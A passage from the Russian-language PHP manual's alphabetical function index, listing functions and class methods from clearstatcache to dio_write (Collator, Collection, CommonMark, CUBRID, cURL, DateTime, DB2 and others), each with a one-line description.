    • clearstatcache - Очищает кеш состояния файлов
    • Client::getClient - Получает сеанс клиента
    • Client::__construct - Конструктор класса Client
    • cli_get_process_title - Возвращает заголовок текущего процесса
    • cli_set_process_title - Устанавливает заголовок процесса
    • closedir - Закрывает дескриптор каталога
    • closelog - Закрывает соединение с системным журналом
    • Closure::bind - Дублирует замыкание с указанием конкретного связанного объекта и области видимости класса
    • Closure::bindTo - Дублирует замыкание с новым связанным объектом и областью видимости класса
    • Closure::call - Связывает и запускает замыкание
    • Closure::fromCallable - Конвертирует callable в замыкание
    • Closure::__construct - Конструктор, запрещающий создание экземпляра
    • Collator::asort - Сортирует массив с сохранением ассоциации индекса
    • Collator::compare - Сравнивает две строки Unicode
    • Collator::create - Создаёт новый экземпляр Collator
    • Collator::getAttribute - Получает значение атрибута сопоставления
    • Collator::getErrorCode - Получает последний код ошибки Collator
    • Collator::getErrorMessage - Получает текст для кода последней ошибки Collator
    • Collator::getLocale - Получает название локали для Collator
    • Collator::getSortKey - Получает ключ сортировки строки
    • Collator::getStrength - Получает текущую силу сопоставления
    • Collator::setAttribute - Устанавливает атрибут сопоставления
    • Collator::setStrength - Устанавливает силу сопоставления
    • Collator::sort - Сортирует массив с использованием указанного средства сортировки
    • Collator::sortWithSortKeys - Сортирует массив с использованием указанного Collator и ключей сортировки
    • Collator::__construct - Создаёт новый экземпляр Collator
    • Collectable::isGarbage - Определяет, помечен ли объект как мусор
    • Collection::add - Добавляет документ в коллекцию
    • Collection::addOrReplaceOne - Добавляет или заменяет документ коллекции
    • Collection::count - Получает количество документов
    • Collection::createIndex - Создаёт индекс для коллекции
    • Collection::dropIndex - Удаляет индекс коллекции
    • Collection::existsInDatabase - Проверяет, существует ли коллекция в базе данных
    • Collection::find - Ищет документ
    • Collection::getName - Получает название коллекции
    • Collection::getOne - Получает один документ
    • Collection::getSchema - Возвращает объект Schema
    • Collection::getSession - Возвращает объект Session
    • Collection::modify - Изменяет документы коллекции
    • Collection::remove - Удаляет документы коллекции
    • Collection::removeOne - Удаляет один документ из коллекции
    • Collection::replaceOne - Заменяет один документ коллекции
    • Collection::__construct - Конструктор класса Collection
    • CollectionAdd::execute - Выполняет утверждение
    • CollectionAdd::__construct - Конструктор класса CollectionAdd
    • CollectionFind::bind - Привязывает значение к заполнителю запроса
    • CollectionFind::execute - Выполняет утверждение
    • CollectionFind::fields - Устанавливает фильтр поля документа
    • CollectionFind::groupBy - Устанавливает критерии группировки
    • CollectionFind::having - Устанавливает условие для агрегатных функций
    • CollectionFind::limit - Ограничивает количество возвращаемых документов
    • CollectionFind::lockExclusive - Выполняет операцию с EXCLUSIVE LOCK
    • CollectionFind::lockShared - Выполняет операцию с SHARED LOCK
    • CollectionFind::offset - Пропускает указанное количество возвращаемых элементов
    • CollectionFind::sort - Устанавливает критерии сортировки
    • CollectionFind::__construct - Конструктор класса CollectionFind
    • CollectionModify::arrayAppend - Добавляет элемент в поле массива
    • CollectionModify::arrayInsert - Добавляет элемент в поле массива
    • CollectionModify::bind - Привязывает значение к заполнителю запроса
    • CollectionModify::execute - Выполняет операцию изменения
    • CollectionModify::limit - Ограничивает количество изменяемых документов
    • CollectionModify::patch - Исправляет документ
    • CollectionModify::replace - Заменяет поле документа
    • CollectionModify::set - Устанавливает атрибут документа
    • CollectionModify::skip - Пропускает элементы
    • CollectionModify::sort - Устанавливает критерии сортировки
    • CollectionModify::unset - Сбрасывает значение полей документа
    • CollectionModify::__construct - Конструктор класса CollectionModify
    • CollectionRemove::bind - Привязывает значение к заполнителю
    • CollectionRemove::execute - Выполняет операцию удаления
    • CollectionRemove::limit - Ограничивает количество документов для удаления
    • CollectionRemove::sort - Устанавливает критерии сортировки
    • CollectionRemove::__construct - Конструктор класса CollectionRemove
    • ColumnResult::getCharacterSetName - Получает набор символов
    • ColumnResult::getCollationName - Получает имя сопоставления
    • ColumnResult::getColumnLabel - Получает метку столбца
    • ColumnResult::getColumnName - Получает название столбца
    • ColumnResult::getFractionalDigits - Получает дробную длину цифры
    • ColumnResult::getLength - Получает длину поля столбца
    • ColumnResult::getSchemaName - Получает название схемы
    • ColumnResult::getTableLabel - Получает метку таблицы
    • ColumnResult::getTableName - Получает название таблицы
    • ColumnResult::getType - Получает тип столбца
    • ColumnResult::isNumberSigned - Проверяет, задан ли числу знак
    • ColumnResult::isPadded - Проверяет, дополняется ли
    • ColumnResult::__construct - Конструктор класса ColumnResult
    • com::__construct - Конструктор класса com
    • CommonMark\CQL::__construct - Конструктор класса CQL
    • CommonMark\CQL::__invoke - Выполнение CQL
    • CommonMark\Interfaces\IVisitable::accept - Visitation
    • CommonMark\Interfaces\IVisitor::enter - Посещение
    • CommonMark\Interfaces\IVisitor::leave - Посещение
    • CommonMark\Node::accept - Visitation
    • CommonMark\Node::appendChild - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::insertAfter - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::insertBefore - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::prependChild - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::replace - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::unlink - Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node\BulletList::__construct - Конструктор класса BulletList
    • CommonMark\Node\CodeBlock::__construct - Конструктор класса CodeBlock
    • CommonMark\Node\Heading::__construct - Конструктор класса Heading
    • CommonMark\Node\Image::__construct - Конструктор класса Image
    • CommonMark\Node\Link::__construct - Конструктор класса Link
    • CommonMark\Node\OrderedList::__construct - Конструктор класса OrderedList
    • CommonMark\Node\Text::__construct - Конструктор класса Text
    • CommonMark\Parse - Разбор
    • CommonMark\Parser::finish - Разбор
    • CommonMark\Parser::parse - Разбор
    • CommonMark\Parser::__construct - Разбор
    • CommonMark\Render - Отображение
    • CommonMark\Render\HTML - Отображение
    • CommonMark\Render\Latex - Отображение
    • CommonMark\Render\Man - Отображение
    • CommonMark\Render\XML - Отображение
    • compact - Создаёт массив, содержащий названия переменных и их значения
    • COMPersistHelper::GetCurFileName - Получить имя файла
    • COMPersistHelper::GetMaxStreamSize - Получить максимальный размер потока
    • COMPersistHelper::InitNew - Инициализирует объект в состояние по умолчанию
    • COMPersistHelper::LoadFromFile - Загрузить объект из файла
    • COMPersistHelper::LoadFromStream - Загружает объект из потока
    • COMPersistHelper::SaveToFile - Сохранить объект в файл
    • COMPersistHelper::SaveToStream - Сохраняет объект в потоке
    • COMPersistHelper::__construct - Конструктор класса COMPersistHelper
    • Componere\Abstract\Definition::addInterface - Добавляет интерфейс
    • Componere\Abstract\Definition::addMethod - Добавляет метод
    • Componere\Abstract\Definition::addTrait - Добавляет трейт
    • Componere\Abstract\Definition::getReflector - Reflection
    • Componere\cast - Приведение к типу
    • Componere\cast_by_ref - Приведение к типу
    • Componere\Definition::addConstant - Добавляет константу
    • Componere\Definition::addProperty - Добавляет свойство
    • Componere\Definition::getClosure - Получает замыкание
    • Componere\Definition::getClosures - Получает замыкание
    • Componere\Definition::isRegistered - Определение состояния
    • Componere\Definition::register - Регистрация
    • Componere\Definition::__construct - Определение конструктора
    • Componere\Method::getReflector - Reflection
    • Componere\Method::setPrivate - Изменение доступности
    • Componere\Method::setProtected - Изменение доступности
    • Componere\Method::setStatic - Изменение доступности
    • Componere\Method::__construct - Конструктор класса Method
    • Componere\Patch::apply - Приложение
    • Componere\Patch::derive - Получение патча
    • Componere\Patch::getClosure - Получает замыкание
    • Componere\Patch::getClosures - Получает замыкания
    • Componere\Patch::isApplied - Определение состояния
    • Componere\Patch::revert - Отмена
    • Componere\Patch::__construct - Конструктор класса Patch
    • Componere\Value::hasDefault - Взаимодействие с классом Value
    • Componere\Value::isPrivate - Определение доступности
    • Componere\Value::isProtected - Определение доступности
    • Componere\Value::isStatic - Определение доступности
    • Componere\Value::setPrivate - Изменение доступности
    • Componere\Value::setProtected - Изменение доступности
    • Componere\Value::setStatic - Изменение доступности
    • Componere\Value::__construct - Конструктор класса Value
    • com_create_guid - Создание уникального глобального идентификатора (GUID)
    • com_event_sink - Связать сообщения объекта COM с объектом PHP
    • com_get_active_object - Вернуть дескриптор на уже запущенный экземпляр объекта COM
    • com_load_typelib - Загрузка Typelib
    • com_message_pump - Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска
    • com_print_typeinfo - Печатает определение класса PHP для интерфейса, наследующего IDispatch
    • connection_aborted - Проверить, отключён ли клиент
    • connection_status - Возвращает битовое поле состояния соединения
    • constant - Возвращает значение константы
    • convert_cyr_string - Преобразовывает строку из одной кириллической кодировки в другую
    • convert_uudecode - Декодирует строку из формата uuencode в обычный вид
    • convert_uuencode - Кодирует строку в формат uuencode
    • copy - Копирует файл
    • cos - Вычисляет косинус
    • cosh - Вычисляет гиперболический косинус
    • count - Подсчитывает количество элементов в массиве или в объекте Countable
    • Countable::count - Количество элементов объекта
    • count_chars - Возвращает информацию о символах, входящих в строку
    • crc32 - Вычисляет полином CRC32 для строки
    • create_function - Создаёт функцию динамически, оценивая строку кода
    • CrudOperationBindable::bind - Привязывает значение к заполнителю
    • CrudOperationLimitable::limit - Устанавливает лимит результата
    • CrudOperationSkippable::skip - Количество операций для пропуска
    • CrudOperationSortable::sort - Сортирует результаты
    • crypt - Необратимое хеширование строки
    • ctype_alnum - Проверяет буквенно-цифровые символы
    • ctype_alpha - Проверяет буквенные символы
    • ctype_cntrl - Проверяет управляющие символы
    • ctype_digit - Проверяет цифровые символы
    • ctype_graph - Проверяет любые печатные символы кроме пробела
    • ctype_lower - Проверяет символы в нижнем регистре
    • ctype_print - Проверяет печатные символы
    • ctype_punct - Проверяет печатные символы, которые не содержат пробельных или буквенно-цифровых символов
    • ctype_space - Проверяет пробельные символы
    • ctype_upper - Проверяет символы в верхнем регистре
    • ctype_xdigit - Проверяет шестнадцатеричные цифры
    • cubrid_affected_rows - Возвращает количество строк, которые затронул последний SQL-запрос
    • cubrid_bind - Связывает переменные с подготовленным запросом
    • cubrid_client_encoding - Возвращает кодировку текущего соединения CUBRID
    • cubrid_close - Закрывает соединение с базой данных
    • cubrid_close_prepare - Закрывает обработчик запроса
    • cubrid_close_request - Закрывает обработчик запроса
    • cubrid_column_names - Получить имена столбцов в результирующем наборе
    • cubrid_column_types - Получить типы столбцов в результирующем наборе
    • cubrid_col_get - Получение контента столбца типа коллекция по OID
    • cubrid_col_size - Получает количество элементов в столбце типа коллекция по OID
    • cubrid_commit - Подтверждение транзакции
    • cubrid_connect - Открывает соединение к серверу CUBRID
    • cubrid_connect_with_url - Создаёт окружение для соединения с сервером CUBRID
    • cubrid_current_oid - Возвращает OID текущей позиции курсора
    • cubrid_data_seek - Перемещает внутренний указатель в результирующем наборе CUBRID
    • cubrid_db_name - Получает имя базы данных из результата функции cubrid_list_dbs
    • cubrid_disconnect - Закрывает соединение с базой данных
    • cubrid_drop - Удаление экземпляра по OID
    • cubrid_errno - Возвращает код ошибки предыдущей операции CUBRID
    • cubrid_error - Возвращает текст последней произошедшей ошибки
    • cubrid_error_code - Получить код ошибки
    • cubrid_error_code_facility - Получить код уровня, на котором произошла ошибка
    • cubrid_error_msg - Возвращает текст последней произошедшей ошибки
    • cubrid_execute - Выполняет подготовленный SQL-оператор
    • cubrid_fetch - Выбирает следующую строку из набора результатов
    • cubrid_fetch_array - Извлекает строки из результирующего набора в виде ассоциативного массива, индексного массива или обоих сразу
    • cubrid_fetch_assoc - Извлекает строку из результирующего набора в виде ассоциативного массива
    • cubrid_fetch_field - Получает информацию о столбце результирующего набора в виде объекта
    • cubrid_fetch_lengths - Возвращает массив, содержащий длины всех столбцов текущей строки
    • cubrid_fetch_object - Извлекает следующую строку как объект
    • cubrid_fetch_row - Извлекает строку из результирующего набора в виде индексного массива
    • cubrid_field_flags - Получает строку, которая содержит флаги столбца по заданному индексу
    • cubrid_field_len - Получает максимальную длину указанного столбца
    • cubrid_field_name - Получает имя заданного столбца
    • cubrid_field_seek - Перемещает внутренний указатель результирующего набора на заданный столбец
    • cubrid_field_table - Получает имя таблицы, которой принадлежит столбец
    • cubrid_field_type - Получает тип столбца
    • cubrid_free_result - Освобождает память, занятую данными результата
    • cubrid_get - Получает столбец, используя OID
    • cubrid_get_autocommit - Возвращает настройку авто-коммита для соединения
    • cubrid_get_charset - Возвращает кодировку текущего соединения CUBRID
    • cubrid_get_class_name - Получает имя класса с помощью OID
    • cubrid_get_client_info - Возвращает версию клиентской библиотеки
    • cubrid_get_db_parameter - Возвращает параметры базы данных CUBRID
    • cubrid_get_query_timeout - Получает значение времени ожидания запроса
    • cubrid_get_server_info - Возвращает версию сервера CUBRID
    • cubrid_insert_id - Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT
    • cubrid_is_instance - Проверяет, существует ли экземпляр, на который указывает OID
    • cubrid_list_dbs - Получает массив со списком баз данных CUBRID
    • cubrid_load_from_glo - Читает данные из экземпляра GLO и записывает их в файл
    • cubrid_lob2_bind - Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров
    • cubrid_lob2_close - Закрывает объект LOB
    • cubrid_lob2_export - Экспортирует LOB-объект в файл
    • cubrid_lob2_import - Импортирует данные BLOB/CLOB из файла
    • cubrid_lob2_new - Создаёт объект LOB
    • cubrid_lob2_read - Производит чтение из данных BLOB/CLOB
    • cubrid_lob2_seek - Перемещает курсор LOB-объекта
    • cubrid_lob2_seek64 - Перемещает курсор LOB-объекта
    • cubrid_lob2_size - Получает размер LOB-объекта
    • cubrid_lob2_size64 - Получает размер LOB-объекта
    • cubrid_lob2_tell - Сообщает положение курсора LOB-объекта
    • cubrid_lob2_tell64 - Сообщает положение курсора LOB-объекта
    • cubrid_lob2_write - Записывает в LOB-объект
    • cubrid_lob_close - Закрывает данные BLOB/CLOB
    • cubrid_lob_export - Экспортирует данные BLOB/CLOB в файл
    • cubrid_lob_get - Получает данные BLOB/CLOB
    • cubrid_lob_send - Читает данные BLOB/CLOB и отправляет их прямо в браузер
    • cubrid_lob_size - Получает размер данных BLOB/CLOB
    • cubrid_lock_read - Устанавливает блокировку чтения для данного OID
    • cubrid_lock_write - Устанавливает блокировку записи для данного OID
    • cubrid_move_cursor - Перемещает курсор в результате
    • cubrid_new_glo - Создаёт экземпляр glo
    • cubrid_next_result - Получает результат следующего запроса при выполнении нескольких SQL-операторов
    • cubrid_num_cols - Возвращает количество столбцов в наборе результатов
    • cubrid_num_fields - Получает количество столбцов в результирующем наборе
    • cubrid_num_rows - Получить количество строк в наборе результатов
    • cubrid_pconnect - Открывает постоянное соединение с сервером CUBRID
    • cubrid_pconnect_with_url - Открывает постоянное соединение с сервером CUBRID
    • cubrid_ping - Проверяет, живо ли соединение к серверу и переподключает его, если нет
    • cubrid_prepare - Подготавливает SQL-выражение к выполнению
    • cubrid_put - Обновляет столбец с использованием OID
    • cubrid_query - Отправляет запрос CUBRID
    • cubrid_real_escape_string - Экранирует специальные символы в SQL-запросе
    • cubrid_result - Получает значение конкретного поля конкретной строки
    • cubrid_rollback - Откат транзакции
    • cubrid_save_to_glo - Сохраняет запрошенный файл в экземпляре GLO
    • cubrid_schema - Получает запрошенную информацию о схеме
    • cubrid_send_glo - Чтение данных из glo и вывод их в стандартное устройство вывода
    • cubrid_seq_drop - Удаляет элемент из столбца типа последовательности, используя OID
    • cubrid_seq_insert - Вставляет элемент в столбец типа последовательности, используя OID
    • cubrid_seq_put - Обновляет значение элемента столбца типа последовательности, используя OID
    • cubrid_set_add - Вставляет один элемент для установки столбца типа с помощью OID
    • cubrid_set_autocommit - Устанавливает режим авто-коммита для соединения
    • cubrid_set_db_parameter - Устанавливает параметры базы данных CUBRID
    • cubrid_set_drop - Удаляет элемент из столбца заданного типа, используя OID
    • cubrid_set_query_timeout - Устанавливает время ожидания выполнения запроса
    • cubrid_unbuffered_query - Выполняет запрос без загрузки результата в память
    • cubrid_version - Получить версию модуля CUBRID PHP
    • CURLFile::getFilename - Возвращает имя файла на сервере
    • CURLFile::getMimeType - Возвращает MIME-тип файла
    • CURLFile::getPostFilename - Возвращает имя файла, отправляемого POST-запросом
    • CURLFile::setMimeType - Устанавливает MIME-тип
    • CURLFile::setPostFilename - Устанавливает имя файла для отправки методом POST
    • CURLFile::__construct - Создаёт объект CURLFile
    • CURLStringFile::__construct - Создаёт объект CURLStringFile
    • curl_close - Завершает сеанс cURL
    • curl_copy_handle - Копирует дескриптор cURL вместе со всеми его настройками
    • curl_errno - Возвращает код последней ошибки
    • curl_error - Возвращает строку с описанием последней ошибки текущего сеанса
    • curl_escape - Кодирует заданную строку как URL
    • curl_exec - Выполняет запрос cURL
    • curl_getinfo - Получает информацию о конкретной передаче
    • curl_init - Инициализирует сеанс cURL
    • curl_multi_add_handle - Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов
    • curl_multi_close - Закрывает набор cURL-дескрипторов
    • curl_multi_errno - Возвращает код последней ошибки множественного curl
    • curl_multi_exec - Запускает подсоединения текущего дескриптора cURL
    • curl_multi_getcontent - Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER
    • curl_multi_info_read - Возвращает информацию о текущих операциях
    • curl_multi_init - Создаёт набор cURL-дескрипторов
    • curl_multi_remove_handle - Удаляет cURL дескриптор из набора cURL дескрипторов
    • curl_multi_select - Ждёт активности на любом curl_multi соединении
    • curl_multi_setopt - Устанавливает опции множественного дескриптора cURL
    • curl_multi_strerror - Возвращает строку, описывающую ошибку
    • curl_pause - Приостановить и возобновить соединение
    • curl_reset - Сбросить все настройки обработчика сессии libcurl
    • curl_setopt - Устанавливает параметр для cURL-передачи
    • curl_setopt_array - Устанавливает несколько параметров для сеанса cURL
    • curl_share_close - Закрыть разделяемый обработчик cURL
    • curl_share_errno - Возвращает код последней ошибки разделяемого обработчика curl
    • curl_share_init - Инициализация разделяемого обработчика cURL
    • curl_share_setopt - Установить опции разделяемого обработчика cURL
    • curl_share_strerror - Возвращает описание для заданного кода ошибки
    • curl_strerror - Получить текстовое описание для кода ошибки
    • curl_unescape - Декодирует закодированную URL-строку
    • curl_upkeep - Выполняет любые проверки работоспособности соединений
    • curl_version - Возвращает версию cURL
    • current - Возвращает текущий элемент массива
  • d
    • data:// - Схема Data (RFC 2397)
    • DatabaseObject::existsInDatabase - Проверяет, существует ли объект в базе данных
    • DatabaseObject::getName - Получает имя объекта
    • DatabaseObject::getSession - Получает имя сессии
    • date - Форматирует временную метку Unix
    • DateInterval::createFromDateString - Создаёт объект класса DateInterval из даты в относительном формате
    • DateInterval::format - Форматирует интервал
    • DateInterval::__construct - Создаёт новый объект DateInterval
    • DatePeriod::createFromISO8601String - Создаёт новый объект DatePeriod из строки в формате стандарта ISO8601
    • DatePeriod::getDateInterval - Возвращает интервал
    • DatePeriod::getEndDate - Возвращает конечную дату периода
    • DatePeriod::getRecurrences - Получает количество повторов
    • DatePeriod::getStartDate - Возвращает начальную дату периода
    • DatePeriod::__construct - Создаёт новый объект DatePeriod
    • DateTime::add - Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
    • DateTime::createFromFormat - Разбирает строку с датой согласно указанному формату
    • DateTime::createFromImmutable - Возвращает экземпляр DateTime инкапсулирующий заданный объект DateTimeImmutable
    • DateTime::createFromInterface - Возвращает новый объект DateTime, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
    • DateTime::getLastErrors - Псевдоним DateTimeImmutable::getLastErrors
    • DateTime::modify - Изменение временной метки
    • DateTime::setDate - Устанавливает дату
    • DateTime::setISODate - Устанавливает дату в формате ISO
    • DateTime::setTime - Устанавливает время
    • DateTime::setTimestamp - Устанавливает дату и время на основе метки времени Unix
    • DateTime::setTimezone - Устанавливает часовой пояс для объекта класса DateTime
    • DateTime::sub - Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime
    • DateTime::__construct - Конструктор класса DateTime
    • DateTime::__set_state - Обработчик __set_state
    • DateTime::__wakeup - Обработчик __wakeup
    • DateTimeImmutable::add - Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд
    • DateTimeImmutable::createFromFormat - Разбирает строку с датой согласно указанному формату
    • DateTimeImmutable::createFromInterface - Возвращает новый объект DateTimeImmutable, созданный из переданного объекта, реализующего интерфейс DateTimeInterface
    • DateTimeImmutable::createFromMutable - Возвращает новый экземпляр DateTimeImmutable, содержащий заданный объект DateTime
    • DateTimeImmutable::getLastErrors - Возвращает предупреждения и ошибки
    • DateTimeImmutable::modify - Создаёт новый объект с изменённой временной меткой
    • DateTimeImmutable::setDate - Устанавливает дату
    • DateTimeImmutable::setISODate - Устанавливает дату в формате ISO
    • DateTimeImmutable::setTime - Устанавливает время
    • DateTimeImmutable::setTimestamp - Устанавливает дату и время на основе метки времени Unix
    • DateTimeImmutable::setTimezone - Устанавливает часовой пояс
    • DateTimeImmutable::sub - Вычитает переданное количество дней, месяцев, лет, часов, минут и секунд
    • DateTimeImmutable::__construct - Возвращает новый объект DateTimeImmutable
    • DateTimeImmutable::__set_state - Обработчик __set_state
    • DateTimeInterface::diff - Возвращает разницу между двумя объектами DateTime
    • DateTimeInterface::format - Возвращает дату, отформатированную согласно переданному формату
    • DateTimeInterface::getOffset - Возвращает смещение часового пояса
    • DateTimeInterface::getTimestamp - Возвращает временную метку Unix
    • DateTimeInterface::getTimezone - Возвращает часовой пояс относительно текущего значения DateTime
    • DateTimeZone::getLocation - Возвращает информацию о местоположении для часового пояса
    • DateTimeZone::getName - Возвращает имя часового пояса
    • DateTimeZone::getOffset - Возвращает смещение часового пояса от UTC (GMT)
    • DateTimeZone::getTransitions - Возвращает все переходы для часового пояса
    • DateTimeZone::listAbbreviations - Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса
    • DateTimeZone::listIdentifiers - Возвращает численно индексированный массив со всеми идентификаторами часовых поясов
    • DateTimeZone::__construct - Создаёт новый объект DateTimeZone
    • date_add - Псевдоним DateTime::add
    • date_create - Создаёт новый объект DateTime
    • date_create_from_format - Псевдоним DateTime::createFromFormat
    • date_create_immutable - Создаёт новый объект DateTimeImmutable
    • date_create_immutable_from_format - Псевдоним DateTimeImmutable::createFromFormat
    • date_date_set - Псевдоним DateTime::setDate
    • date_default_timezone_get - Возвращает часовой пояс, используемый по умолчанию всеми функциями даты/времени в скрипте
    • date_default_timezone_set - Устанавливает часовой пояс по умолчанию для всех функций даты/времени в скрипте
    • date_diff - Псевдоним DateTime::diff
    • date_format - Псевдоним DateTime::format
    • date_get_last_errors - Псевдоним DateTimeImmutable::getLastErrors
    • date_interval_create_from_date_string - Псевдоним DateInterval::createFromDateString
    • date_interval_format - Псевдоним DateInterval::format
    • date_isodate_set - Псевдоним DateTime::setISODate
    • date_modify - Псевдоним DateTime::modify
    • date_offset_get - Псевдоним DateTime::getOffset
    • date_parse - Возвращает ассоциативный массив с подробной информацией о заданной дате/времени
    • date_parse_from_format - Получение информации о заданной в определённом формате дате
    • date_sub - Псевдоним DateTime::sub
    • date_sunrise - Возвращает время рассвета для заданных дня и местоположения
    • date_sunset - Возвращает время захода солнца для заданных дня и местоположения
    • date_sun_info - Возвращает массив с информацией о закате/рассвете и начале/окончании сумерек
    • date_timestamp_get - Псевдоним DateTime::getTimestamp
    • date_timestamp_set - Псевдоним DateTime::setTimestamp
    • date_timezone_get - Псевдоним DateTime::getTimezone
    • date_timezone_set - Псевдоним DateTime::setTimezone
    • date_time_set - Псевдоним DateTime::setTime
    • db2_autocommit - Возвращает или устанавливает режим автоподтверждения транзакций для соединения
    • db2_bind_param - Связывает переменную PHP с параметром SQL-выражения
    • db2_client_info - Возвращает объект со свойствами, описывающими клиента DB2
    • db2_close - Закрывает соединение с базой данных
    • db2_columns - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
    • db2_column_privileges - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
    • db2_commit - Подтверждает транзакцию
    • db2_connect - Возвращает соединение с базой данных
    • db2_conn_error - Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
    • db2_conn_errormsg - Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
    • db2_cursor_type - Возвращает тип курсора, который используется в ресурсе оператора
    • db2_escape_string - Используется для экранирования некоторых символов
    • db2_exec - Выполняет SQL-запрос напрямую
    • db2_execute - Выполняет подготовленный SQL-запрос
    • db2_fetch_array - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
    • db2_fetch_assoc - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
    • db2_fetch_both - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
    • db2_fetch_object - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
    • db2_fetch_row - Устанавливает указатель набора результатов на следующую строку или запрошенную строку
    • db2_field_display_size - Возвращает максимальное количество байтов, необходимое для отображения столбца
    • db2_field_name - Возвращает имя столбца в наборе результатов
    • db2_field_num - Возвращает позицию указанного столбца в наборе результатов
    • db2_field_precision - Возвращает точность указанного столбца в наборе результатов
    • db2_field_scale - Возвращает масштаб указанного столбца в наборе результатов
    • db2_field_type - Возвращает тип данных указанного столбца в наборе результатов
    • db2_field_width - Возвращает ширину текущего значения указанного столбца в наборе результатов
    • db2_foreign_keys - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
    • db2_free_result - Освобождает ресурсы, связанные с набором результатов
    • db2_free_stmt - Освобождает ресурсы, связанные с указанным ресурсом выражения
    • db2_get_option - Извлекает значение параметра для ресурса оператора или ресурса соединения
    • db2_last_insert_id - Возвращает автоматически сгенерированный идентификатор последнего запроса на добавление, успешно выполненного в этом соединении
    • db2_lob_read - Получает определённый пользователем размер LOB-файлов при каждом вызове
    • db2_next_result - Запрашивает следующий набор результатов из хранимой процедуры
    • db2_num_fields - Возвращает количество полей в результирующем наборе
    • db2_num_rows - Возвращает количество строк, затронутых SQL-запросом
    • db2_pclose - Закрывает постоянное соединение с базой данных
    • db2_pconnect - Возвращает постоянное соединение с базой данных
    • db2_prepare - Подготавливает SQL-запрос к выполнению
    • db2_primary_keys - Возвращает набор результатов, содержащий первичные ключи таблицы
    • db2_procedures - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
    • db2_procedure_columns - Возвращает набор результатов со списком параметров хранимой процедуры
    • db2_result - Возвращает один столбец из строки в наборе результатов
    • db2_rollback - Откатывает транзакцию
    • db2_server_info - Возвращает объект со свойствами, описывающими сервер базы данных DB2
    • db2_set_option - Установка опции для соединения или ресурса оператора
    • db2_special_columns - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
    • db2_statistics - Возвращает набор результатов, содержащий индекс и статистику таблицы
    • db2_stmt_error - Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
    • db2_stmt_errormsg - Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения
    • db2_tables - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных
    • db2_table_privileges - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
    • dbase_add_record - Добавляет запись в базу данных
    • dbase_close - Закрывает базу данных
    • dbase_create - Создаёт базу данных
    • dbase_delete_record - Удаление записей из базы данных
    • dbase_get_header_info - Получает информацию о свойствах полей базы данных
    • dbase_get_record - Получает записи из базы данных, как из индексированного массива
    • dbase_get_record_with_names - Получает запись из базы данных в виде ассоциативного массива
    • dbase_numfields - Получает количество полей базы данных
    • dbase_numrecords - Получает количество записей в базе данных
    • dbase_open - Открывает базу данных
    • dbase_pack - Фиксирует удаление из базы данных
    • dbase_replace_record - Заменяет запись в базе данных
    • dba_close - Закрывает базу данных DBA
    • dba_delete - Удаляет запись базы данных определённую ключом
    • dba_exists - Проверяет, существует ли ключ
    • dba_fetch - Извлекает данные по указанному ключу
    • dba_firstkey - Извлекает первый ключ
    • dba_handlers - Список всех доступных обработчиков
    • dba_insert - Вставляет запись
    • dba_key_split - Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей
    • dba_list - Список всех открытых файлов базы данных
    • dba_nextkey - Извлекает следующий ключ
    • dba_open - Открывает базу данных
    • dba_optimize - Оптимизирует базу данных
    • dba_popen - Установить постоянный экземпляр базы данных
    • dba_replace - Перезаписать или вставить запись
    • dba_sync - Синхронизирует базу данных
    • dcgettext - Переопределяет одно сообщение в домене
    • dcngettext - Версия dcgettext для множественного числа
    • debug_backtrace - Генерирует стек вызовов функций
    • debug_print_backtrace - Выводит стек вызовов функций
    • debug_zval_dump - Сбрасывает строковое представление внутренней структуры zval на вывод
    • decbin - Переводит число из десятичной системы счисления в двоичную
    • dechex - Переводит число из десятичной системы счисления в шестнадцатеричную
    • decoct - Переводит число из десятичной системы счисления в восьмеричную
    • define - Определяет именованную константу
    • defined - Проверяет, существует ли константа с заданным именем
    • deflate_add - Инкрементальное сжатие данных
    • deflate_init - Инициализировать контекст инкрементального сжатия
    • deg2rad - Преобразовывает значение из градусов в радианы
    • delete - Смотрите описание функции unlink или unset
    • dgettext - Переопределяет текущий домен для одного сообщения
    • die - Эквивалент конструкции exit
    • dio_close - Закрыть файловый дескриптор
    • dio_fcntl - Вызывает функцию библиотеки C fcntl для файлового дескриптора
    • dio_open - Открывает файл (по необходимости создаёт) на более низком уровне нежели потоковые функции ввода/вывода языка C
    • dio_read - Прочитай байты из файлового дескриптора
    • dio_seek - Переместить указатель в файловом дескрипторе
    • dio_stat - Получить информацию о файловом дескрипторе
    • dio_tcsetattr - Устанавливает атрибуты терминала и скорость передачи данных для последовательного порта
    • dio_truncate - Обрезает файл до заданного количества байт
    • dio_write - Записывает байты в файл, опционально обрезая до указанной длины
